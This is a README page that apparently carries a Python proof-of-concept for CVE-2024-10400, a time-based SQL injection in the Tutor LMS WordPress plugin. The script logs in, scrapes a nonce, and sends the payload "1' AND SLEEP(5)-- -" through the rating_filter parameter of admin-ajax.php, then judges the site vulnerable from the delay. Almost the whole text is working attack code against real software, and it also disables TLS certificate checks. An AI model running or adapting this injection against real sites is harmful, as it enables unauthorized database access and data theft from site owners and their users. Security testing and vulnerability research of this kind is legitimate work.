README.md
Rendering markdown...
import requests
import urllib3
from urllib.parse import urljoin
import argparse
import ssl
import re
import time
ssl._create_default_https_context = ssl._create_unverified_context
urllib3.disable_warnings(urllib3.exceptions.InsecureRequestWarning)
def read_file(file_path):
with open(file_path, 'r') as file:
return file.read().splitlines()
def login_to_wordpress(url, username, password):
login_url = urljoin(url, "/wp-login.php")
headers = {
"User-Agent": "Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/15.3 Safari/605.1.15",
"Content-Type": "application/x-www-form-urlencoded"
}
data = {
"log": username,
"pwd": password,
"wp-submit": "Log In",
"redirect_to": urljoin(url, "/wp-admin/profile.php"),
"testcookie": "1"
}
try:
session = requests.Session()
response = session.post(login_url, headers=headers, data=data, verify=False, timeout=15)
if "Dashboard" in response.text or "profile.php" in response.text:
print(f"\033[32mSuccessfully logged in as {username}\033[0m")
return session
else:
print(f"\033[31mFailed to log in as {username}\033[0m")
return None
except requests.RequestException as e:
print(f"Error logging in to {url}: {e}")
return None
def extract_nonce(session, url):
try:
response = session.get(url, verify=False, timeout=15)
# Look for the nonce in the page source
match = re.search(r'"_tutor_nonce":"(\w+)"', response.text)
if match:
return match.group(1)
else:
print(f"\033[31mNonce not found in the response from {url}\033[0m")
except requests.RequestException as e:
print(f"Error fetching nonce from {url}: {e}")
return None
def check_sql_injection(url, username, password):
target_url = url.rstrip("/")
# Fetch the nonce from the course page or dashboard (where Tutor LMS actions are performed)
target_url_for_nonce = urljoin(target_url, "/dashboard/") # Adjust this URL as needed
target_endpoint = urljoin(target_url, "/wp-admin/admin-ajax.php")
# Log in to WordPress
session = login_to_wordpress(target_url, username, password)
if not session:
return False
# Fetch a fresh nonce
tutor_nonce = extract_nonce(session, target_url_for_nonce)
if not tutor_nonce:
print(f"\033[31mFailed to fetch tutor_nonce from {target_url_for_nonce}\033[0m")
return False
print(f"\033[32mFound_tutor_nonce: {tutor_nonce}\033[0m")
try:
# Time-based SQL injection payload
payloads = {
"action": "load_filtered_instructor",
"_tutor_nonce": tutor_nonce,
"rating_filter": "1' AND SLEEP(5)-- -"
}
# Measure the response time
start_time = time.time()
response = session.post(target_endpoint, verify=False, timeout=15, data=payloads)
end_time = time.time()
# Calculate the elapsed time
elapsed_time = end_time - start_time
print(f"\033[34mResponse time: {elapsed_time:.2f} seconds\033[0m")
# Confirm vulnerability if the response time is greater than 5 seconds
if elapsed_time >= 5:
print(f"\033[31mFind: {url}: WordPress_CVE-2024-10400_sql_Injection!\033[0m")
return True
else:
print(f"\033[31mNo SQL injection vulnerability found at {url}\033[0m")
except requests.RequestException as e:
print(f"Error checking {url}: {e}")
return False
def main():
parser = argparse.ArgumentParser(description="Check for SQL injection vulnerabilities.")
parser.add_argument("-u", "--url", help="Target URL", required=True)
parser.add_argument("-user", "--username", help="WordPress username", required=True)
parser.add_argument("-pwd", "--password", help="WordPress password", required=True)
args = parser.parse_args()
check_sql_injection(args.url, args.username, args.password)
if __name__ == "__main__":
main()